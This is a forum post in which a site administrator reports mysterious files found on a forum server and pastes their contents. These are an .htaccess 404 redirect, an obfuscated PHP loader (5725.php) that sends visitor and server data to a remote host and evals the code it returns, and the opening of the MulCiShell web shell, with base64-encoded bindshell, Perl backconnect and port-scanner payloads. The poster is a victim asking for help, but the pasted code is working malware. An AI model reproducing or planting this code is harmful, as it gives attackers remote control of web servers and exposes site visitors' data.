Not sure what these files are or where they came from!

[ade_dnb]

I was doing a backup and about to do an upgrade when I came across these files but don't know where they came from.

In forum root there are two. 5725.php, mshell.php and an entry into the .htaccess . In the attachment folder I have the same 3 files and in every other attachment folder. The same for customavatars, customprofilepics and signaturepics. mshell.php is allways named the same but the first file, 5725.php, is allways a string of numbers which are different.

Has anybody come across these before? What are they, what are they supposed to do and what should I do about them?

.htaccess

Options -MultiViews
ErrorDocument 404 //forum/5725.php

Options -MultiViews
ErrorDocument 404 /forum/5725.php

5725.php

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cGhwc2VhcmNoLmNu");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="ec0962378ef742df0bcf07a488bc5697") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2FkczIu").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

mshell.php

<?php
#/\/\/\/\/\  MulCiShell v0.2 /\/\/\/\/\/\/\#
# Updates from version 1.0#
# 1) Fixed MySQL insert function
# 2) Fixed trailing dirs
# 3) Fixed file-editing when set to 777
# 4) Removed mail function (who needs it?)
# 5) Re-wrote & improved interface
# 6) Added actions to entire directories
# 7) Added config+forum finder
# 8) Added MySQL dump function
# 9) Added DB+table creation, DB drop, table delete, and column+table count
# 10) Updated security-info feature to include more useful details
# 11) _Greatly_ Improved file browsing and handling
# 12) Added banner
# 13) Added DB-Parser and locator
# 14) Added enumeration function
# 15) Added common functions for bypassing security restrictions
# 16) Added bindshell & backconnect (needs testing)
# 17) Improved command execution (alts)
#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/#
@ini_set("memory_limit","256M");
@set_magic_quotes_runtime(0);
session_start();
ob_start();
$start=microtime();
if(isset($_GET['theme'])) $_SESSION['theme']=$_GET['theme'];
//Thanks korupt ;)
$backdoor_c="DQojaW5jbHVkZSA8YXNtL2lvY3Rscy5oPg0KI2luY2x1ZGUgPHN5cy90aW1lLmg+DQojaW5jbHVkZSA8c3lzL3NlbGVjdC5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN0ZGludC5oPg0KI2luY2x1ZGUgPHB0aHJlYWQuaD4NCg0Kdm9pZCAqQ2xpZW50SGFuZGxlcih2b2lkICpjbGllbnQpDQp7DQoJaW50IGZkID0gKGludCljbGllbnQ7DQoJZHVwMihmZCwgMCk7DQoJZHVwMihmZCwgMSk7DQoJZHVwMihmZCwgMik7DQoJaWYoZm9yaygpID09IDApDQoJCWV4ZWNsKCIvYmluL2Jhc2giLCAicmVzbW9uIiwgMCk7DQoJY2xvc2UoZmQpOw0KCXJldHVybiAwOw0KfQ0KDQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KCWludCBtc29jaywgY3NvY2ssIGkgPSAxOw0KCXB0aHJlYWRfdCB0aHJlYWQ7DQoJc3RydWN0IHNvY2thZGRyIHNhZGRyOw0KCXN0cnVjdCBzb2NrYWRkcl9pbiBzYWRkckluOw0KICAgIGludCBwb3J0PWF0b2koYXJndlsxXSk7DQoJaWYoKG1zb2NrID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkpID09IC0xKQ0KCQlyZXR1cm4gLTE7DQoNCglzYWRkckluLnNpbl9mYW1pbHkJCT0gQUZfSU5FVDsNCglzYWRkckluLnNpbl9hZGRyLnNfYWRkcgk9IElOQUREUl9BTlk7DQoJc2FkZHJJbi5zaW5fcG9ydAkJPSBodG9ucyhwb3J0KTsNCiAgIA0KCW1lbWNweSgmc2FkZHIsICZzYWRkckluLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyX2luKSk7DQoJc2V0c29ja29wdChtc29jaywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAoY2hhciAqKSZpLCBzaXplb2YoaSkpOw0KIA0KCWlmKGJpbmQobXNvY2ssICZzYWRkciwgc2l6ZW9mKHNhZGRyKSkgIT0gMCl7DQoJCWNsb3NlKG1zb2NrKTsNCgkJcmV0dXJuIC0xOw0KCX0NCiANCglpZihsaXN0ZW4obXNvY2ssIDEwKSA9PSAtMSl7DQoJCWNsb3NlKG1zb2NrKTsNCgkJcmV0dXJuIC0xOw0KCX0NCiANCgl3aGlsZSgxKXsNCgkJaWYoKGNzb2NrID0gYWNjZXB0KG1zb2NrLCBOVUxMLCBOVUxMKSkgIT0gLTEpew0KCQkJcHRocmVhZF9jcmVhdGUoJnRocmVhZCwgMCwgaGFuZGxlciwgKHZvaWQgKiljc29jayk7DQoJCX0NCgl9DQoJDQoJcmV0dXJuIDE7DQp9";
$backconnect_perl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KbXkgKCRpYWRkciwkcG9ydCwkY21kKT1AQVJHVjsNCm15ICRwYWRkcj1zb2NrYWRkcl9pbigkcG9ydCwgaW5ldF9hdG9uKCRpYWRkcikpOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0Kc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90byk7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERJTiwiPiZTT0NLRVQiKTsNCnByaW50IFNPQ0tFVCAiU2hlbGwgdGVzdFxuIjsNCnByaW50IGV4ZWMoJGNtZCk7DQpjbG9zZShTVERJTik7DQpjbG9zZShTVERPVVQpOw0K";
$pl_scan="DQoJIyEvdXNyL2Jpbi9wZXJsDQp1c2Ugd2FybmluZ3M7DQp1c2Ugc3RyaWN0Ow0KdXNlIGRpYWdub3N0aWNzOw0KdXNlIElPOjpTb2NrZXQ6OklORVQ7DQpzdWIgdXNhZ2UNCnsNCglkaWUoIiQwIGhvc3Qgc3RhcnRwb3J0IGVuZHBvcnQKIik7DQp9DQp1c2FnZSB1bmxlc3MoQEFSR1Y+MSk7DQpteSgkaG9zdCwkcywkZSk9QEFSR1Y7DQpmb3JlYWNoKCRzLi4kZSkNCnsNCglteSAkc29jaz1JTzo6U29ja2V0OjpJTkVULT5uZXcNCgkoDQoJCVBlZXJBZGRyPT4kaG9zdCwNCgkJUGVlclBvcnQ9PiRfLA0KCQlQcm90bz0+J3RjcCcsDQoJCVRpbWVvdXQ9PjINCgkpOw0KCXByaW50ICJQb3J0ICBvcGVuCiIgaWYgKCRcc29jayk7DQp9DQoNCgk=";
$access_control=0;
$md5_user="MulCiber";
$md5_pass="123";
$user_agent="MulCiber";
$allowed_addrs=array('127.0.0.1');
$shell_email="mulciber-@hotmail.com";
$self=basename($_SERVER['PHP_SELF']);
$addr=$_SERVER['REMOTE_ADDR'];
$serv=@gethostbyname($_SERVER['HTTP_HOST']);
$soft=$_SERVER['SERVER_SOFTWARE'];
==========FILE CUT=============